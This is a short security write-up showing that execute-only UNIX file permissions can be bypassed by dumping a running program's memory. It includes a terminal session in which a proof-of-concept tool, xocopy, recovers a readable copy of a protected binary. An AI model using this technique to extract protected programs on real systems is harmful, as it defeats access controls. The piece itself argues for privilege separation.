File permission problems -- Execute but no Read permission

Under UNIX, a program only needs its execute bit set to be able to execute. The read bit is not required. This property is often used by over zealous system administrators to protect programs. This protection scheme is often easily bypassed.

The trick to breaking this protection is that while the program is executing, it is loaded in memory. Linux (i386, possibly others) assumes that if a memory page is writable or executable, then it is also readable. In other words, the absence of the readable bit in the filesystem is not propagated to the memory page.

So once the program is loaded into memory, we can dump the memory contents to disk either by forcing the process to dump core, or by reading the memory contents with a series of ptrace(PTRACE_PEEKTEXT, ...) syscalls.

xocopy is a proof of concept program that bypasses this protection method. Below is an example of obtaining a readable copy of a program with execute but no read permissions:

$ gcc -o xocopy xocopy.c
$ cp /usr/bin/id .
$ chmod 111 ./id
$ ls -l
 total 44
 ---x--x--x    1 reverse  reverse     13052 Aug  4 16:26 id
 -rwxr-xr-x    1 reverse  reverse     11911 Aug  4 16:25 xocopy
 -rw-r--r--    1 reverse  reverse     16588 Aug  4 16:24 xocopy.c
$ ./id
 uid=1006(reverse) gid=1006(reverse) groups=1006(reverse)
$ strings -a ./id
 strings: ./id: Permission denied
$ ./xocopy ./id
 discarding shared library at virtual memory address 0x40000000
 using elf header at virtual memory address          0x08048000
 could not recover data - 4096 bytes at file offset 12288
  ! section header table was not recovered
  created file `id.out'
$ ls -l
 total 58
 ---x--x--x    1 reverse  reverse     13052 Aug  4 16:26 id
 -rwxr-xr-x    1 reverse  reverse     13052 Aug  4 16:26 id.out
 -rwxr-xr-x    1 reverse  reverse     11911 Aug  4 16:25 xocopy
 -rw-r--r--    1 reverse  reverse     16588 Aug  4 16:24 xocopy.c
$ ./id.out
 uid=1006(reverse) gid=1006(reverse) groups=1006(reverse)
$ strings -a ./id.out | grep Usage
 Usage: %s [OPTION]... [USERNAME]
$

Removing the read permission while retaining execute permission is not an effective protection mechanism. Consider privilege separation instead.